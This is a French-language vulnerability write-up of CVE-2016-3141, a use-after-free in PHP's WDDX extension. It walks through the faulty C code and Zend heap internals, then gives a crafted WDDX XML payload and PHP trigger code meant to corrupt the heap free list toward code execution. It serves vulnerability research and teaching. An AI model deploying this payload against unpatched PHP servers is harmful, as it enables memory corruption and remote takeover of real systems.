
CVE-2016-3141
Vulnérabilité use-after-free dans wddx.c de l'extension WDDX de PHP avant 5.5.33 et 5.6.x avant 5.6.19 permet à des attaquants distants de provoquer un déni de service (corruption mémoire et crash de l'application) ou éventuellement d'avoir un autre impact non spécifié en déclenchant un appel wddx_deserialize sur des données XML contenant un élément var spécialement conçu.
C'est un bug Use-After-Free, survenant lorsque wddx tente de traiter des données XML. Regardez ce code dans la fonction php_wddx_deserialize_ex. Quand wddx_deserialize($xml) traite des données XML, php appelle cette fonction puis définit certaines fonctions pour gérer les balises et les données XML.
XML_SetUserData(parser, &stack);
XML_SetElementHandler(parser, php_wddx_push_element, php_wddx_pop_element);
XML_SetCharacterDataHandler(parser, php_wddx_process_data);
La fonction php_wddx_push_element crée une entrée pour une balise comme vous pouvez le voir dans cet extrait. Par exemple, si vous entrez
<string>Hello World</string>, lorsqu'elle rencontre la balise ouvrante elle appelle php_wddx_push_element pour créer une entrée st_entry qui stocke les informations d'une balise. Regardons un extrait de code ci-dessous.
static void php_wddx_push_element(void *user_data, const XML_Char *name, const XML_Char **atts)
{
st_entry ent;
wddx_stack *stack = (wddx_stack *)user_data;
----SNIP----
else if (!strcmp(name, EL_STRING)) {
ent.type = ST_STRING;
SET_STACK_VARNAME;
ALLOC_ZVAL(ent.data);
INIT_PZVAL(ent.data);
Z_TYPE_P(ent.data) = IS_STRING;
Z_STRVAL_P(ent.data) = STR_EMPTY_ALLOC();
Z_STRLEN_P(ent.data) = 0;
wddx_stack_push((wddx_stack *)stack, &ent, sizeof(st\_entry));
}
----SNIP----
}
SET_STACK_VARNAME est une procédure définie ci-dessous. Cette procédure vérifie simplement stack->varname d'une balise ; s'il n'est pas NULL, elle clone ce stack->varname puis le libère.
#define SET_STACK_VARNAME \
if (stack->varname) { \
ent.varname = estrdup(stack->varname); \
efree(stack->varname); \
stack->varname = NULL; \
} else \
ent.varname = NULL; \
Le bug se produit dans php_wddx_pop_element. Lorsque le XML ferme une balise de type var, il libère varname de cette balise, et ce pointeur libéré est toujours stocké dans stack->varname. Par exemple, si vous créez une variable comme <var name='UAF'></var>, php_wddx_push_element crée une structure qui stocke cette balise var ; ensuite, lorsque vous fermez cette balise, elle est libérée mais on oublie de définir stack->name = NULL ou de décrémenter stack->top. Après cela, si vous créez une autre balise comme <string>, la fonction SET_STACK_VARNAME réutilisera ce pointeur libéré.
static void php_wddx_pop_element(void *user_data, const XML_Char *name)
{
# ***SNIP***
} else if (!strcmp(name, EL_VAR) && stack->varname) {
efree(stack->varname);
}
# ***SNIP***
}
Quand j'ai vu ce bug pour la première fois, je me suis dit « ne puis-je pas transformer ce bug en exécution de code ? ». D'abord, je dois comprendre comment le heap de zend est implémenté. Regardons la fonction _zend_mm_alloc_int dans zend_alloc.c ci-dessous.
if (EXPECTED(ZEND_MM_SMALL_SIZE(true_size))) {
size_t index = ZEND_MM_BUCKET_INDEX(true_size);
size_t bitmap;
if (UNEXPECTED(true_size < size)) {
goto out_of_memory;
}
#if ZEND_MM_CACHE
if (EXPECTED(heap->cache[index] != NULL)) {
/* Get block from cache */
#if ZEND_MM_CACHE_STAT
heap->cache_stat[index].count--;
heap->cache_stat[index].hit++;
#endif
best_fit = heap->cache[index];
heap->cache[index] = best_fit->prev_free_block;
heap->cached -= true_size;
ZEND_MM_CHECK_MAGIC(best_fit, MEM_BLOCK_CACHED);
ZEND_MM_SET_DEBUG_INFO(best_fit, size, 1, 0);
HANDLE_UNBLOCK_INTERRUPTIONS();
return ZEND_MM_DATA_OF(best_fit);
}
Si nous allouons un bloc de petite taille (moins de 256 octets), zend_alloc utilisera heap->cache, une liste de blocs libres contenant plusieurs petites listes chaînées de blocs libres ; ce heap->cache est comme le fast_bin de malloc. Si d'une manière ou d'une autre nous pouvons écraser le pointeur best_fit->prev_free_block avec notre propre adresse, puis appeler zend_alloc à nouveau, nous pouvons utiliser cette adresse pour écrire quelque part en mémoire.
Pour ce faire, je vais créer le XML wddx ci-dessous :
$xml = <<<EOF
<?xml version='1.0' ?>
<!DOCTYPE wddxPacket SYSTEM 'wddx_0100.dtd'>
<wddxPacket version='1.0'>
<array>
<binary>HERE</binary> # (1)
<var name='XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX'></var> #(2)
<binary>REPLACE</binary> # (3)
<var name='SUCK'></var> # (4)
<boolean value='a'/>
<boolean value='true'/>
</array>
</wddxPacket>
EOF;
$binary_value = base64_encode(str_repeat("A",32));
$xml = str_replace("HERE",$binary_value,$xml);
$xml = str_replace("REPLACE",base64_encode(str_repeat("Z",64)),$xml);
$wddx = wddx_deserialize($xml);
foreach($wddx as $k => $v){
$k = "".str_repeat("C",6); (5)
$t = (string)$v; (6)
$g = (string)$v; (7)
}

Vous pouvez voir mon exploit complet ici peter_code_execute.php (Testé sur Ubuntu 14.04.4 x86_64 - PHP 5.5.9-1ubuntu4.14).
Finalement, j'ai réussi à transformer ce bug en exécution de code.
